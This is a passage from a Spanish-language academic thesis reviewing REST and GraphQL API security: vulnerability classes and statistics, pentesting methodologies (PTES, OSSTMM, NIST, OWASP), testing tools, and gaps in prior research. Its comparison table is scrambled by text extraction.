Sin embargo, al igual que las aplicaciones web, las API REST también son
vulnerables a diversas amenazas de seguridad, como se demuestra por la presencia de tales
vulnerabilidades en la base de datos CVE. Estas vulnerabilidades incluyen problemas como
Server-Side Request Forgery (SSRF), carga de archivos sin restricciones, inyeccion de
comandos del sistema operativo, travesia de rutas (Path Traversal) y otros mas. (Du et al.,
2024, pag. 739)

En la Tabla 3 se presenta un resumen de las principales vulnerabilidades

encontradas en APIs REST, clasificadas segun la base de datos CWE.
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El estudio realizado por Du et al. (2024) analiza el numero de vulnerabilidades reportadas,
su funcionalidad afectada y las palabras clave asociadas.

Se evidencia que los tipos de vulnerabilidad mas frecuentes son SOL Injection (CWE-89) y
OS Command Injection (CWE-78), con 70y 55 casos respectivamente.

Asimismo, los ataques mas relacionados con interaccion de archivos y rutas, como
Unrestricted File Upload (CWE-434) y Path Traversal (CWE-22), presentan altos ratios de
afectacion, alcanzando el 83 %y 52 %, respectivamente.

Estos resultados confirman que los endpoints de las APIs siguen siendo un vector critico de
ataque, principalmente en operaciones de carga, acceso remoto y manejo de datos.

Tabla 3

Resumen funcional de vulnerabilidades en APIs REST segun el andlisis del USENIX Security

Symposium (2024)

Vulnerability Functionality Summary of ‘
CWE ID Bug Ratio Keywords
Type Vulnerable APIs
Unrestricted .
CWE- Most of them focus on 83% “upload”, “submit”,
Upload of 42 ‘ ‘
434 ' uploading. (35/42) “import”, etc.
File
Server-Side Most of them need to
CWE- ) 81% “remote”, “proxy”’,
Request 21 request a remote source, like
918 . (17/21) “URL”, etc.
Forgery Proxy interfaces.
They are responsible for ‘
Path . 52% “path”, “dir”, “file”,
CWE-22 31 handling file through a
Traversal (16/31) etc.

“Path” variable.

Most of them are used to set

OS
configurations through 40% “CMD”, “command”,
CWE-78 Command 55 ‘
o commands executed in OS (22/55) “‘system”, etc.
Injection
shell.
SQL They are responsible for 53% “SQL”, “database”,
CWE-89 Q 70 Y P N

Injection handling SQL database. (37/70) “select”, etc.
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Vulnerability Functionality Summary of ‘
CWE ID Bug Ratio Keywords
Type Vulnerable APIs
Cross-site They present front-end 35% “display”, “content”,
CWE-79 o 55 .
Scripting pages that show text. (19/55) “view”, etc.

Nota: Du et al., 2024, pag. 742. Proceedings of the 33rd USENIX Security

Symposium, Philadelphia, PA, USA.

2.5.2 Vulnerabilidades especificas de GraphQL

La adopcion de GraphQL ha transformado la forma en que las aplicaciones modernas
gestionan y consultan datos, ofreciendo una alternativa flexible y eficiente frente a los
enfoques tradicionales basados en REST. Sin embargo, esta flexibilidad también introduce un
conjunto particular de desafios de seguridad que no siempre son evidentes en las primeras
etapas del desarrollo. Al permitir que el cliente defina la estructura y profundidad de las
consultas, GraphQL amplia la superficie de ataque y requiere mecanismos de control mas
sofisticados.

Su modelo de ejecucion dindmica y la falta de mecanismos de seguridad integrados lo
exponen a vulnerabilidades como el acceso no autorizado a datos, los ataques de denegacion
de servicio (DoS) y las inyecciones. Las herramientas de prueba existentes se centran en la
correccion funcional, pasando por alto con frecuencia los riesgos de seguridad derivados de
las interdependencias entre consultas y del contexto de ejecucion. (Tsai et al., 2025, pag. 1)

De manera similar, es posible identificar tres categorias generales de vulnerabilidades
presentes en las API GraphQL. Entre ellas, las més representativas corresponden al abuso de
consultas, seguido por diversas formas de inyeccion, y finalmente los fallos en los
mecanismos de control de acceso, que también se manifiestan con frecuencia en este tipo de

interfaces. Estas categorias permiten delinear un panorama inicial sobre los riesgos mas
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habituales en APIs GraphQL. Si bien no constituyen un listado exhaustivo ni profundamente
especializado, si reflejan los problemas maés recurrentes observados en la practica.

Segun Tsai et al. (2025), las vulnerabilidades identificadas en GraphQL pueden
clasificarse en tres categorias principales. En primer lugar, se encuentran las vulnerabilidades
por abuso de consultas, las cuales aprovechan la flexibilidad del lenguaje para sobrecargar el
servidor o extraer informacion no autorizada del esquema. Un ejemplo de ello es el uso
indebido de la consulta de introspeccion, que permite acceder al mapa completo de tipos,
campos y relaciones, facilitando la creacion de peticiones mas precisas y potencialmente
dafiinas. Ademas, las consultas excesivamente anidadas o repetitivas pueden originar ataques
de denegacion de servicio (DoS) al agotar los recursos del servidor.

En segundo lugar, los autores destacan las vulnerabilidades de inyeccion,
consideradas entre los riesgos mas criticos. Dentro de ellas, la inyeccion SQL es una de las
mas frecuentes, ya que entradas no validadas pueden integrarse directamente en consultas
SQL, permitiendo el acceso o la modificacion no autorizada de datos. También pueden
presentarse inyecciones de ruta o ataques de Cross-Site Scripting (XSS) cuando los datos del
usuario no son depurados antes de mostrarse en el cliente, lo que facilita el robo de
informacion, el secuestro de sesiones o la ejecucion de scripts maliciosos.

Finalmente, las vulnerabilidades de control de acceso surgen cuando las APIs de
GraphQL no aplican politicas de autorizacion adecuadas, permitiendo el acceso indebido a
datos restringidos. Este tipo de fallos incluye las referencias directas inseguras a objetos
(IDOR) y los ataques por lotes (batched attacks), en los cuales el atacante manipula
identificadores o agrupa peticiones para obtener informacion confidencial sin permisos

legitimos.
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2.6 Metodologias de Pentesting
2.6.1 Metodologias Tradicionales (PTES, OSSTMM, NIST SP 800-115)

En el ambito de la ciberseguridad, las metodologias de evaluacion han evolucionado
histéricamente para proporcionar estructuras sistematicas que permitan identificar, explotar y
analizar vulnerabilidades dentro de sistemas informaticos convencionales. Entre los enfoques
mas representativos se encuentran el Penetration Testing Execution Standard (PTES), el
Open Source Security Testing Methodology Manual (OSSTMM) y la NIST Special
Publication 800-115, los cuales han guiado durante afios el disefio y la ejecucion de pruebas
técnicas en infraestructuras tradicionales. Si bien todos ellos presentan diferencias en alcance,
formalismo y proposito, comparten el objetivo de establecer procesos repetibles y
técnicamente fundamentados dentro de ejercicios de evaluacion de seguridad.

Penetration Testing Execution Standard. El PTES constituye uno de los marcos
operativos mas influyentes dentro de la practica contemporanea del pentesting. Propone un
proceso estructurado de siete fases desde la planificacion inicial hasta el reporte final que
permite abordar los sistemas de manera progresiva y alineada con la l6gica de un adversario
real.

El penetration Testing Execution Standard (PTES) organiza una prueba de
penetracion en siete fases que permiten conducir el proceso de manera ordenada, repetible y
alineada con las necesidades del cliente. Segun el PTES Project (2014), todo inicia con las
interacciones pre-compromiso, donde se definen los objetivos, alcances, restricciones,
autorizaciones y reglas de involucramiento. Esta etapa es crucial porque establece el marco
¢tico, legal y operativo en el que se desarrollara el ejercicio.

Posteriormente, el estandar describe la fase de recoleccion de inteligencia, en la cual
se obtiene la mayor cantidad de informacion posible sobre la organizacion objetivo mediante

técnicas pasivas y activas. El proposito es comprender su infraestructura, sus activos criticos
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y su superficie de exposicion. A partir de esta informacion, el PTES Project (2014) plantea
una tercera fase: el modelado de amenazas. Aqui se analizan los posibles adversarios, sus
motivaciones, capacidades y los vectores de ataque mas viables en funcion del contexto del
entorno evaluado.

Una vez definido dicho panorama, se inicia la fase de analisis de vulnerabilidades,
que implica identificar, validar y priorizar debilidades que puedan ser aprovechadas durante
las siguientes etapas. Seguidamente, el proceso avanza hacia la explotacion, donde se
demuestra técnicamente el impacto de las vulnerabilidades identificadas y se evaltia hasta qué
punto un atacante real podria comprometer la organizacion (PTES Project, 2014).

Después, el estandar incorpora la etapa de post-explotacion, orientada a comprender
el valor de los accesos obtenidos, las posibilidades de movimiento lateral, los riesgos de
escalamiento y los efectos potenciales sobre los activos criticos. Finalmente, todo el ejercicio
concluye con una fase de reporte, en la que se documenta detalladamente lo realizado, los
hallazgos técnicos y su impacto en el negocio, asi como recomendaciones priorizadas para
mejorar la postura de seguridad de la organizacion (PTES Project, 2014).

Su relevancia metodologica radica en ofrecer un modelo tactico-pragmatico, donde la
interaccion directa con el objetivo, la explotacion controlada y la post-explotacion
proporcionan una vision holistica del riesgo técnico. PTES a logrado posicionarse como un
estandar de facto entre consultores y equipos ofensivos, especialmente en escenarios
orientados a pruebas manuales de infraestructura o aplicaciones web tradicionales.

Open Source Security Testing Methodology Manual. E1l OSSTMM, elaborado por
ISECOM, presenta un enfoque marcadamente diferente: se sustenta en principios cientificos,
cuantitativos y verificables. Esta metodologia supera la nocion clésica del pentesting al
abarcar dimensiones adicionales como la seguridad fisica, humana, tele comunicacional y

digital.
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El Open Source Security Testing Methodology Manual (OSSTMM) proporciona una
metodologia para una prueba de seguridad exhaustiva, denominada en este documento como
una auditoria OSSTMM. Una auditoria OSSTMM constituye una medicién precisa de la
seguridad a nivel operativo, libre de suposiciones y de evidencia anecdética. Como
metodologia, estd disefiada para ser consistente y replicable. Al ser un proyecto de codigo
abierto, permite que cualquier analista de seguridad contribuya con ideas para realizar
pruebas mas precisas, accionables y eficientes. Ademas, posibilita la libre difusion de
informacion y propiedad intelectual. (ISECOM, 2010, pag. 7)

Su principal aporte reside en su marco de Operational Security Metrics (OSM), que
permite cuantificar la exposicion, el nivel de control y la confianza operacional mediante
métricas reproducibles. En ambientes regulados o de alta criticidad, el OSSTMM proporciona
una base solida para auditorias comparables en el tiempo, manteniendo un rigor
metodologico que trasciende la mera identificacion de vulnerabilidades.

NIST SP 800-115: Technical Guide to Information Security Testing and
Assessment. La NIST SP 800-115 adopta un enfoque institucional y normativo, ampliamente
implementado en organizaciones gubernamentales y corporativas bajo estrictos marcos
regulatorios. Esta guia sistematiza las técnicas de evaluacion técnica incluyendo analisis de
vulnerabilidades, pruebas de penetracion, escaneos y revisiones de coddigo dentro de un ciclo
documentado y gobernado por politicas claras. Su caracter prescriptivo favorece la
trazabilidad y estandarizacion del proceso de prueba, garantizando que los resultados se
encuentren alineados con practicas formales de gestion del riesgo. Debido a ello, la NIST SP
800-115 es frecuentemente utilizada como guia base para programas de seguridad integrales
en entornos tradicionales y de infraestructura legada.

En este sentido, las metodologias tradicionales deben entenderse como pilares

conceptuales, no como marcos suficientes por si mismos. La complejidad actual demanda
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enfoques especializados capaces de considerar aspectos como la ldgica de negocio
distribuida, la interdependencia entre endpoints, el abuso de funcionalidades, el consumo no
lineal de recursos, la granularidad de permisos y la exposicion de metadatos estructurales
propios de las APIs modernas. Por ello, la disciplina requiere expandirse hacia metodologias
adaptativas e inherentemente orientadas a estos nuevos paradigmas.

En este punto, resulta evidente que las metodologias tradicionales como PTES
proporcionan un marco robusto para la ejecucion estructurada de pruebas de penetracion. Sin
embargo, la evolucion de las arquitecturas modernas, el auge de los servicios basados en la
nube y la creciente adopcion de interfaces de programacion de aplicaciones han introducido
escenarios de riesgo que demandan enfoques mas especializados. En particular, las API tanto
REST como GraphQL operan bajo modelos de comunicacion y exposicion de datos que no
siempre pueden evaluarse adecuadamente con estandares generalistas. Por este motivo, y con
el objetivo de abordar las particularidades inherentes al disefio, implementacion y explotacion
de las API contemporaneas, resulta necesario incorporar lineamientos metodoldgicos
especificos, como los propuestos por OWASP Testing Guide y OWASP API Security Top

10.

2.6.2 OWASP Testing Guide y OWASP API Security Top 10

En el marco de las ciencias aplicadas, resulta fundamental disponer de una guia o un
marco de referencia que permita orientar adecuadamente el cumplimiento de los objetivos en
el ambito del desarrollo web. Contar con un mapa conceptual o una estructura de apoyo es
esencial para asegurar procesos mas eficientes y obtener resultados dptimos. En este contexto
surge OWASP, concebido como un marco aplicado que proporciona directrices y buenas

practicas para fortalecer la seguridad en aplicaciones web.
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Desarrollar una aplicacion web segura es una tarea muy dificil. Por ello, los
desarrolladores necesitan una guia que les ayude a crear una aplicacion web segura. Esta guia
puede utilizarse como una lista de verificacion para que el desarrollador cumpla con un
estandar minimo de seguridad en la aplicacion web. (Sedek et al., 2009)

El OWASP Testing Guide (OTG) se ha consolidado como una de las referencias mas
influyentes para la evaluacion de la seguridad en aplicaciones web. A diferencia de los
marcos tradicionales, el OTG propone un enfoque modular y altamente sistematico que
permite evaluar la aplicacion desde distintas perspectivas: arquitectura, controles de
autenticacion y autorizacion, validacion de entradas, manejo de sesiones, exposicion de datos
sensibles, entre otros. OWASP (2021) enfatiza que el proceso de prueba debe considerar no
solo las vulnerabilidades técnicas, sino también la l6gica de negocio subyacente, ya que
muchos fallos criticos derivan de flujos mal disefiados y no necesariamente de errores
asociados al software o a la infraestructura. En este sentido, el Testing Guide aporta
taxonomias, procedimientos y buenas practicas que sirven como base integral para
comprender el comportamiento de la aplicacion y sus posibles fallos de seguridad.

Del mismo modo, el OWASP API Security Top 10 surge como una respuesta a la
creciente prominencia de las API en ecosistemas digitales modernos. OWASP (2023) sefiala
que las API presentan vectores de ataque particulares debido a su naturaleza altamente
estructurada, a la separacion entre cliente y servidor, y a la frecuencia con la que exponen
logica interna o datos sensibles. Este estandar clasifica y describe los diez riesgos mas
comunes que afectan a las API, tales como Broken Object Level Authorization (BOLA),
Broken Authentication, Excessive Data Exposure, Security Misconfiguration y Server-Side
Request Forgery (SSRF). Su objetivo no es inicamente enumerar los fallos recurrentes, sino

proporcionar estrategias de prevencion, deteccion y mitigacion que permitan a las
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organizaciones disefiar API mas seguras desde su fase inicial y no unicamente corregir
vulnerabilidades una vez desplegadas.

En conjunto, tanto el OWASP Testing Guide como el OWASP API Security Top 10
amplian y modernizan el aporte de las metodologias tradicionales, ya que ofrecen una
perspectiva ajustada al modo en que hoy se comunican y operan las aplicaciones web.
Gracias a estos lineamientos es posible realizar evaluaciones de seguridad mas cercanas al
funcionamiento real de los servicios actuales, con especial atencion a la proteccion de los
datos, la preservacion de funciones esenciales y la capacidad del sistema para resistir intentos

de abuso, ya sea del propio protocolo o de la l6gica de negocio.

2.6.3 Limitaciones de metodologias tradicionales en APIs modernas

Aunque marcos como PTES, OSSTMM y la NIST SP 800-115 han demostrado ser
solidos para la evaluacion general de la seguridad en sistemas tradicionales, su aplicabilidad
se ve limitada cuando se emplean en ecosistemas basados en APIs modernas. Estas
metodologias fueron disefiadas bajo supuestos arquitectonicos centrados en aplicaciones
monoliticas, infraestructuras locales y flujos de comunicacion menos dindmicos. En
contraste, las API actuales particularmente las RESTful y las GraphQL operan en entornos
distribuidos, altamente escalables y con interacciones complejas entre microservicios,
componentes de terceros y servicios en la nube.

Como resultado, los enfoques tradicionales no siempre logran capturar riesgos
especificos inherentes al manejo de recursos, la exposicion excesiva de datos, los patrones
asincronicos de comunicacion o la ejecucion dependiente del contexto, todos ellos
caracteristicos de las API. Del mismo modo, las metodologias clasicas carecen de

mecanismos precisos para evaluar fallos basados en logica de negocio, abuso de endpoints,
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explotacion de consultas dinamicas o problemas derivados de la deserializacion y el

versionado.

2.6.4 Necesidad de metodologias adaptadas a RESTful y GraphQL

Frente a estas limitaciones, se vuelve imprescindible desarrollar metodologias
especificas para la evaluacion de seguridad en APIs RESTful y GraphQL. Ambos paradigmas
introducen modelos de interaccion distintos que no pueden abordarse eficazmente con
enfoques de prueba genéricos. En el caso de las API RESTful, la estructura basada en
recursos, los métodos HTTP y los diferentes estados del protocolo requieren analizar
escenarios como el control granular de acceso, la exposicion involuntaria de informacion a
través de respuestas y metadatos, la manipulacion de parametros y las inconsistencias en
validaciones de entrada. La naturaleza sin estado de REST también implica considerar
vectores asociados a la gestion de tokens, autenticacion basada en sesiones distribuidas y
controles de autorizacion que pueden variar entre microservicios.

Por su parte, GraphQL plantea retos ain mas particulares debido a su capacidad para
permitir consultas altamente flexibles y construidas dindmicamente por el cliente. Esto
implica riesgos como query abuse, denegacion de servicio mediante consultas anidadas o
recursivas, introspeccion no controlada, inyecciones en resolvers, escalamiento no previsto
de privilegios y exposicion excesiva de datos a partir de un inico punto de entrada. Su
modelo de resolucion de consultas y su dependencia del esquema requieren mecanismos de
prueba que examinen relaciones internas, dependencias entre campos, autorizaciones a nivel
de resolver y variaciones del contexto de ejecucion.

Ante este panorama, se hace necesario contar con una metodologia especializada que
integre tanto los riesgos identificados por iniciativas como OWASP API Security Top 10,

como los comportamientos propios de cada tecnologia. Esta metodologia debe ser capaz de
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evaluar exhaustivamente los componentes internos, los flujos de operacion, la estructura de
los esquemas y la interaccion entre servicios, permitiendo asi una vision holistica y moderna
del riesgo en APIs. Dicho enfoque es el que fundamentara el desarrollo de la propuesta
metodologica presentada en este trabajo, orientada especificamente a las necesidades de

seguridad en RESTful y GraphQL.

2.7 Herramientas y Técnicas de Pentesting en APIs

Como en toda metodologia de pruebas de penetracion, el uso de herramientas
especializadas constituye un pilar fundamental para llevar a cabo tanto el analisis como la
ejecucion de las actividades de evaluacion. En este sentido, resulta necesario identificar con
precision cudles seran las herramientas utilizadas y establecer una linea base que oriente el
proceso de trabajo. Esta delimitacion inicial no solo permite organizar de forma adecuada las
etapas de la evaluacion, sino que también ofrece un sustento técnico para la construccion y
justificacion de una nueva metodologia adaptada a las necesidades especificas del entorno de
prueba.

Existen muchas herramientas que pueden utilizarse para realizar pruebas de seguridad
en servicios API. Algunas de estas aplicaciones son proyectos de codigo abierto disponibles
gratuitamente, mientras que otras son soluciones comerciales ofrecidas por organizaciones

orientadas a la seguridad. (Kajavalta, Trepo Tuni, 2022, pag. 20)

2.7.1 Herramientas para RESTful

Una de las herramientas mas destacadas en el ambito del pentesting, especialmente
para APIs RESTful, es Postman. Este software permite observar como se comporta la API en
tiempo real, visualizar sus solicitudes y respuestas, y comprender de manera practica el flujo
de comunicacion. Gracias a esto, el analista puede analizar su funcionamiento, identificar

posibles fallos y entender con mayor claridad la 16gica interna del servicio.
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Las caracteristicas principales de Postman incluyen la creacion de colecciones,
entornos, variables y scripts de prueba automatizables. Las colecciones dentro de Postman
permiten consolidar solicitudes API, parametros, descripciones y pruebas en un solo formato
exportable, que puede almacenarse en un sistema de control de versiones y asi simplificar el
proceso de desarrollo dentro de un equipo. (Kajavalta, Trepo Tuni, 2022, pag. 21)

Asi como Postman ofrece ventajas significativas al permitir visualizar el
funcionamiento de una API en tiempo real, también resulta fundamental emplear proxys que
permitan interceptar el trafico antes de que llegue al servidor. Para este proposito, utilizamos
Burp Suite en su version Community. Aunque la herramienta cuenta con dos ediciones una
gratuita y otra comercial, en este trabajo empleamos la version no comercial por ser
suficiente para realizar pruebas de interceptacion, analisis y manipulacion de solicitudes
durante el proceso de pentesting.

Burp Suite es una herramienta de seguridad y pruebas de penetracion desarrollada por
PortSwigger que permite realizar evaluaciones de seguridad en profundidad en aplicaciones
web. Es una de las herramientas mas utilizadas para las pruebas de seguridad de aplicaciones
web, ya que ofrece numerosas funciones y una excelente extensibilidad para distintos casos

de uso. (Kajavalta, Trepo Tuni, 2022, pag. 22)

2.7.2 Herramientas para GraphQL

GraphQLer puede rastrear el uso de recursos internos en las solicitudes para detectar
fugas de datos, escalamiento de privilegios y vectores de ataque de repeticion (replay
attacks). Evaluamos la efectividad de GraphQLer mediante diversos escenarios de prueba en
diferentes APIs GraphQL. En términos de cobertura de pruebas, GraphQLer logra una mejora

significativa, con un aumento promedio del 35 % en la cobertura y, en algunos casos, un
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notable incremento del 84 % en comparacion con el método base de mejor rendimiento. (Tsai
et al, 2025, pag. 2)

Al igual que en el andlisis de APIs REST, el pentesting de APIs GraphQL requiere el
uso de un proxy de interceptacion, por ejemplo, Burp Suite, ya que ambas tecnologias se
soportan en protocolos web. Disponer de un intermediario que capture, modifique y reprocesé
el trafico HTTP/HTTPS permite desarrollar una comprension detallada del entorno,
identificar patrones de comunicacion y estructurar de forma rigurosa las fases de
reconocimiento y explotacion.

Burp Suite es un software de pruebas de seguridad de aplicaciones desarrollado por
PortSwigger (https://portswigger.net) que actia como un proxy del trafico entre tu navegador
web y la aplicacion objetivo, permitiéndote interceptar, modificar y reproducir solicitudes
que entran y salen de tu computadora. En nuestro laboratorio de seguridad de GraphQL,
usaremos Burp Suite para interactuar manualmente con nuestro objetivo observando y
modificando consultas GraphQL antes de que sean enviadas al servidor objetivo. (Nick &
Dolev, 2023, pag. 32)

El uso de Python constituye una base esencial en el pentesting contemporaneo. Su
versatilidad permite desarrollar procesos de reconocimiento, analisis, explotacion y una
amplia gama de herramientas personalizadas capaces de adaptarse a los distintos entornos de
prueba. En el &mbito de las APIs GraphQL, esta tendencia no es la excepcion: existen
utilidades especificas escritas en Python que facilitan la enumeracion, reconstruccion del
esquema y el andlisis de seguridad, ampliando significativamente las capacidades del
evaluador.

Aqui es donde Clairvoyance entra en accion. Esta herramienta de reconocimiento para
APIs GraphQL, basada en Python y desarrollada por Nikita Stupin (@ nikitastupin) e Ilya

Tsaturov (@itsaturov), te permite descubrir informacién del esquema cuando la introspeccion
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esta deshabilitada. Funciona aprovechando una caracteristica de GraphQL llamada field
suggestions. En esencia, reconstruye el esquema subyacente enviando consultas creadas a
partir de un diccionario de palabras comunes en inglés y observando las respuestas del
servidor. (Nick & Dolev, 2023, pag. 34)

Segun Aleks y Farhi (2023), BatchQL es una herramienta de auditoria de seguridad
para GraphQL desarrollada en Python por la firma Assetnote. Los autores explican que su
nombre proviene de la caracteristica batching de GraphQL, la cual permite a un cliente enviar
multiples consultas dentro de una sola solicitud HTTP. Esta herramienta aprovecha dicho
mecanismo para analizar el comportamiento del servidor frente a consultas agrupadas e
identificar posibles fallos derivados de una gestion inadecuada de estas operaciones, aspecto

que se desarrollara con mayor detalle en secciones posteriores. (pag. 36)

2.7.3 Técnicas manuales vs técnicas automatizadas

En las técnicas manuales existe una mayor posibilidad de identificar vulnerabilidades
con un impacto mas significativo, ya que permiten observar de primera mano cémo funciona
la API y comprender su comportamiento real. Este enfoque ofrece una perspectiva mas
practica y reduce la probabilidad de errores derivados de interpretaciones incorrectas o del
uso rigido de herramientas automatizadas. Aunque el analisis manual requiere mas tiempo,
también brinda un control mas preciso durante el proceso de prueba. En contraste, las
herramientas automaticas son mucho mas rapidas, pero pueden pasar por alto fallos
importantes o incluso detenerse ante situaciones simples, como la falta de respuesta del
servidor o la presencia de datos inesperados.

Una persona que realiza pruebas de seguridad manuales puede aprovechar diversas
herramientas durante el proceso para lanzar ataques simulados, recopilar datos y evaluar

vulnerabilidades. De este modo, el procedimiento puede estar parcialmente automatizado,
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pero los resultados finales son revisados por alguien con experiencia y con la capacidad de
determinar de manera mas precisa si dichos resultados representan o no una vulnerabilidad
real dentro del sistema. (Kajavalta, Trepo Tuni, 2022, pag. 19)

En la practica real del pentesting, esta diferencia se vuelve evidente. Las herramientas
automaticas son rapidas, cubren mucho terreno y ayudan a encontrar fallos comunes sin
mayor esfuerzo. Sin embargo, su vision es limitada: solo detectan lo que ya estd definido en
sus reglas y patrones. Por eso el trabajo manual sigue siendo tan importante. Cuando un
analista revisa el sistema por su cuenta, puede explorar escenarios que no siguen un estandar,
notar comportamientos extrafios y entender la ldgica particular con la que funciona la
aplicacion. Ese nivel de comprension permite descubrir errores mas profundos e incluso mas
peligrosos, como fallos en los flujos de negocio, controles de validacion mal implementados
o problemas de autorizacidon que una herramienta por si sola dificilmente podria identificar.

Tanto las pruebas de seguridad manuales como las automatizadas pueden verificar los
mismos tipos de vulnerabilidades; sin embargo, un analista de seguridad puede resultar mas
efectivo, especialmente cuando el sistema objetivo no es una solucion estandarizada, en cuyo
caso una herramienta de pruebas automatizadas puede lograr una buena cobertura y

comprender plenamente las solicitudes y respuestas del sistema evaluado. (Kajavalta, 2022,

pag. 19)

2.8 Estado del Arte e Investigacion Académica
2.8.1 Trabajos Académicos Previos en Seguridad de APIs RESTful

El estudio Pentesting and Secure Code Reviews: Strengthening API Security in
Modern Software Products confirma estos planteamientos al analizar cincuenta APIs
provenientes de diversos sectores con el fin de evaluar el impacto del pentesting y de las

revisiones de codigo seguro. Sus resultados evidencian que las vulnerabilidades mas
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frecuentes se relacionan con fallas de inyeccion y mecanismos de autenticacion deficientes, y
sefialan que las APIs REST son las mas afectadas dentro de los casos examinados.

Los resultados de este estudio ofrecen informacion valiosa sobre el estado actual de la
seguridad en APIs y la efectividad del pentesting y las revisiones de cddigo seguro en la
mitigacion de vulnerabilidades. Los hallazgos evidencian la prevalencia de vulnerabilidades
criticas, el impacto de las practicas de seguridad y la importancia de integrar dichas practicas
en el ciclo de desarrollo. (Rushil et al., 2025, pag. 6)

Otro estudio denominado Security Assessment of RESTful APIs through Automated
Penetration Testing analiza la arquitectura REST y la seguridad de las RESTful APIs desde
una perspectiva teorica y practica. Explora como surgieron las APIs REST a partir del trabajo
de Roy Fielding, por qué la seguridad y la privacidad son hoy prioridades criticas, y como las
vulnerabilidades comunes pueden poner en riesgo la integridad de los sistemas. La tesis reune
lineamientos profesionales sobre seguridad, muestra casos reales disefiados para evadir
defensas débiles, examina mecanismos de proteccion y aplica técnicas de pentesting para
demostrar fallos habituales en APIs. Finalmente, evalta si es posible automatizar la seguridad
de estas aplicaciones y reflexiona sobre los limites de dicha automatizacion.

En esta tesis recopilamos lineamientos profesionales relacionados con la seguridad de
las APIs RESTful y explicamos su razon de ser presentando escenarios concretos disefiados
para eludir enfoques ingenuos sobre la integridad del sistema. Examinamos el concepto de las
APIs RESTful tanto en teoria como en la préctica, asi como los mecanismos de seguridad
asociados. (Wiedey, 2020, pag. 1)

Otro estudio relevante sobre APIs REST es la tesis dedicada al analisis de seguridad
de la M-Files Cloud Management API. Este trabajo se enfoco en identificar vulnerabilidades
comunes en implementaciones de API mediante la revision de literatura especializada y la

ejecucion de pruebas de seguridad exhaustivas. La investigacion evalu6 el comportamiento
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de la API frente a estos fallos conocidos, aplicando pruebas manuales, el uso de herramientas
automatizadas y el desarrollo de nuevos scripts de automatizacion. Como resultado, se
identificaron diez problemas de seguridad que fueron reportados y corregidos por el equipo
de desarrollo. Ademas, el estudio presentd recomendaciones para mejorar el proceso de
desarrollo y amplio la cobertura de pruebas automatizadas, fortaleciendo asi la seguridad
futura del sistema.

El objetivo de esta tesis fue estudiar qué tipos de vulnerabilidades existen en
soluciones de API basadas en REST, cuan comunes son y como pueden ser evaluadas. Para
alcanzar estos objetivos, la tesis describe distintos enfoques de pruebas de seguridad, las
herramientas existentes que pueden utilizarse para evaluar la seguridad de APIs y las
amenazas y vulnerabilidades mas comunes en estos entornos. (Kajavalta, Security Analysis

of M-Files Cloud Management API, 2023, pag. 1)

2.8.2 Investigaciones Emergentes en Seguridad de GraphQL

Este articulo es una extension de un pdster breve. En ese trabajo, presentamos una
implementacion inicial para dar soporte a un subconjunto de GraphQL, junto con un estudio
empirico de pruebas white-box realizado sobre dos APIs artificiales. En este articulo
ampliamos considerablemente dicho soporte (por ejemplo, abordando cémo manejar
llamadas de funciones anidadas) y realizamos un estudio empirico mucho mas amplio, que
incluye experimentos de pruebas black-box, asi como comparaciones con distintos algoritmos
de busqueda. (Belhadi, Zhang, & Arcuri, 2022)

Este estudio analiza GraphQL como una alternativa moderna a las APIs REST y
propone un marco automatizado para realizar pruebas de seguridad y funcionalidad en APIs
GraphQL. El trabajo presenta un sistema completo de testing automatizado que incluye la

extraccion del esquema, la generacion de casos de prueba y dos enfoques principales: pruebas
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white-box (cuando se tiene acceso al codigo fuente) y pruebas black-box (cuando no se tiene
acceso). Para las pruebas white-box, el estudio utiliza algoritmos evolutivos capaces de
explorar inteligentemente el cédigo y maximizar la cobertura, encontrando fallos con mayor
eficiencia que los métodos tradicionales. Para las pruebas black-box, se usa una busqueda
aleatoria para generar consultas GraphQL sin depender del codigo. El marco propuesto fue
integrado en la herramienta de codigo abierto EvoMaster y probado en multiples APIs reales,
demostrando mejoras significativas en deteccion de fallos y cobertura de codigo, asi como la
capacidad del enfoque black-box para descubrir vulnerabilidades en APIs publicas.

También se identifica otro estudio que aborda GraphQL desde una perspectiva
practica y de seguridad. En este trabajo se explica como funciona GraphQL dentro de
aplicaciones web y como puede integrarse con React.js, mostrando su uso real en el
desarrollo. Ademas, el estudio realiza pruebas con herramientas de analisis de
vulnerabilidades para identificar fallos comunes en APIs GraphQL y proponer soluciones
concretas. De esta manera, ofrece una vision completa que combina tanto la implementacion
como la proteccion de estos servicios.

En este articulo presentaremos un analisis practico de las APIs GraphQL al integrarlas
con React.js. Primero, veremos como funciona GraphQL en las aplicaciones web y como
podemos integrarlo con React.js. Después, trabajaremos con herramientas de deteccion de

vulnerabilidades para identificar fallos en las APIs. (Iswalkar et al., 2023, pag. 1105)

2.8.3 Vacios de Investigacion Detectados en la Literatura

A partir del andlisis de los casos de estudio revisados, tanto en REST como en
GraphQL, se observa que, aunque los trabajos realizan pruebas de penetracion sobre APIs
utilizando herramientas manuales o automaticas, la mayoria no sigue una metodologia clara

ni lineamientos definidos para evaluarlas. Si bien el OWASP API Top 10 constituye un
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marco de referencia importante en materia de seguridad, resulta insuficiente como guia
metodologica para la ejecucion completa de un pentesting.

De acuerdo con Tsai et al. (2025), la investigacion relacionada con pruebas basadas
en dependencias dentro de entornos GraphQL aun es escasa. Los autores sefialan que, hasta la
fecha, no se ha encontrado literatura que aborde un enfoque de pruebas consciente de
dependencias en este tipo de APIs, lo que evidencia una brecha en el estudio y aplicacion de
metodologias de verificacion orientadas al contexto de ejecucion. pag. 3.

Por ello, es necesario establecer un modelo que permita estructurar de forma ordenada
y coherente las fases de evaluacion, asegurando asi una practica estandarizada. Precisamente,
nuestro estudio se enfoca en la construccion e implementacion de un nuevo modelo
metodologico basado en OWASP como marco referencial, con el fin de cubrir esta ausencia
evidente en la literatura y proporcionar una guia practica para las pruebas de seguridad en

APIs.

2.8.4 Justificacion de la Necesidad de una Metodologia Especifica

La evaluacion de seguridad en APIs modernas, tanto REST como GraphQL, se ha
convertido en un componente critico dentro del ciclo de desarrollo de software. A pesar de
ello, la revision de la literatura evidencia que la mayoria de estudios y practicas existentes
carecen de una metodologia formal que guie de manera estructurada las fases del pentesting.
Aunque marcos como OWASP API Security Top 10 ofrecen un excelente punto de partida al
identificar las vulnerabilidades més frecuentes, estos lineamientos no constituyen un método
completo para llevar a cabo pruebas de seguridad, sino inicamente una referencia de riesgos.

A continuacion, se muestran incidentes que demuestran, que, aunque las APIs son
fundamentales para la integracion y operacion de sistemas modernos, su diseflo y seguridad

siguen representando un desafio critico. La recurrencia de vulnerabilidades y el impacto que
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generan refuerzan la necesidad de establecer metodologias claras y rigurosas para su
